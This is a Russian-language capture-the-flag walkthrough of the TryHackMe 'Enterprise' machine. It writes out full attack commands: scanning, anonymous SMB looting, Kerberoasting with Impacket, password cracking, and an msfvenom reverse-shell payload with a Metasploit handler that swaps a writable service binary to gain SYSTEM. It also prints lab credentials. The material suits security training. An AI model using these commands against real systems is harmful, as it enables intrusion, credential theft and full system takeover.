Приветствую, вас, кулхацкеры. Мы снова проходим машины на TryHackMe. На этот раз райт будет посвящен тачке под названием Enterprise.

Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях

Шаг 0: Сканируем с Nmap

Как всегда начинаем со сканирования:

nmap -sC -sV -T4 -p- 10.10.227.87 

Заметим что на 80 порту крутится http. Попробуем зайти на веб-страницу машины:

Ничего примечательного. Попробуем просканировать утилитами nikto и dirsearch:

В процессе сканирования nikto ничего не нашел. Зато dirsearch обнраужил файл robots.txt. Проверим его на наличие интересной информации:

Также ничего интересного.

Шаг 1: Используем smbclient

На веб странице ничего интересного найдено не было. Попробуем подключиться с хосту с помощью smbclient в поисках открытых шар.

Нас скорее всего заинтересует шара Users. Попробуем подключиться без указания пароля и имени пользователя с помощью того же smbclient:

Успешно! С помощью команды dir посмотрим доступные файлы. И с помощью следующих команд выкачаем все находящиеся на ней файлы.

recurse -> переключает рекурсию папок для команд mget и mput.
Если рекурсия включена, то эти команды будут работать со всеми поддиректориями указанной папки (например, папки из которой ведется копирование) и будут рекурсивно выполнены во всех папках подходящих по маске, определенной для команды

prompt -> переключает запрос имен файлов во время операций команд mget и mput. Если запрос выключен, все указанные файлы будут переданы без запроса.

mget * -> скачивает файлы с сервера на машину

Просмотрев все директории, найдем ту, в которой будет находится файл Consolehost_hisory.txt. Просмотрим его содержимое с помощью cat:

Название и содержимое файла совпадают. Это не что иное, как история команд. Здесь для нас будут примечательны учетные данные replication:101RepAdmin123!!

Шаг 2: Используем CrackMapExec

Чтобы проверить валдиность данной учетки, воспользуемся утилитой CrackMapExec:

Как видно пройти аутентификацию у нас не вышло. Вопрос: куда двигаться дальше? Пентестер всегда должен проверять все имеющиеся у него данные. Возвращаемся к результатам сканирования и видим что на 7990 порту также висит http:

Попробуем зайти на веб-страницу:

И тут нас встречает страница регистрации Atlassian, на которой сказано, что Enterprise переместились на GitHub. Пойдем в гугл в поисках их страницы. Как показывает практика, сотрудники часто ставляют критические данные на GitHub.

Наша теория подтвердилась. Пользователь оставил здесь учетные данные, которые мы сможем использовать для дальнейшего проведения атаки. Снова воспользуемся crackmapexec.

Шаг 3: Проводим Kerberoasting

Аутентификация прошла успешно. А это значит, что мы можем с помощью учетных данных этого пользователя провести атаку Kerberoasting, воспользовавшись модулем GetUserSPNs утилиты Impacket:

impacket-GetUserSPNs -dc-ip 10.10.227.87 'lab.enterprise.thm/nik:ToastyBoi!' -outputfile hash.txt

Дальше, получив заветный TGT, попытаемся получить пароль в открытом виде, воспользовавшись утилитой JohnTheRipper:

john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Шаг 4: Подключаемся с помощью xfreerdp

Попытка подключения через Evil-WinRM не увенчалась успехом. Поэтому попробуем подключиться через протокол RDP с помощью xfreerdp:

xfreerdp /u:bitbucket /p:littleredbucket /v:10.10.227.87 /dynamic-resolution

Тут же и найдем первый флаг:

Шаг 5: Повышаем привилегии

Так как у нашего пользователя нет административных прав, будем повышать привилегии. Для этого воспользуемся утилитой WinPEAS:

Как видим, WinPEAS нашел директорию, в которой мы имеем право на запись и на наследование, а именно C:\Program Files (x86)\Zero Tier\ZeroTier One.exe

Что же здесь происходит и почему мы можем делать то, что собираемся делать? Итак, службы имеют двоичный путь - он указывает на исполняемый файл, который будет запущен при запуске службы. В нашем случае это ZeroTier One.exe.

Наш текущий пользователь bitbucket имеет право изменять путь и сам исполняемый файл, поскольку у нас есть привилегии "write" на расположение исполняемого файла. Разрешения - наследование (I) и доступ на запись (W).

Поэтому мы подменим исполняемый файл reverse-shell-ом и получим административный доступ.

msfvenom -p windows/x64/shell/reverse_tcp lhost=10.10.197.18 lport=3345 -f exe -o Zero.exe

В Metasploit выберем exploit/multi/handler, чтобы поймать запрос на подключение к нам.

msfconsole
use exploit/multi/handler
set lhost 10.10.197.18
set lport 3345
set payload windows/x64/shell/reverse_tcp
run

В handler мы устанавливаем те же параметры, что и при генерации нагрузки, то есть наш адрес, и порт на котором мы будем прослушивать. Также устанавливаем используемую нами полезную нагрузку. Дальше закидываем в указанную папку наш Zero.exe, запускаем наш handler командой run, запускаем в папке Powershell и прописываем следующие команды для запуска нашего шелла:

Stop-Service -name zerotieroneservice
Start-Service -name zerotieroneservice

В результате получает шелл от system. Далее переходим в директорию администратора и получаем его флаг:

Комментарии (0)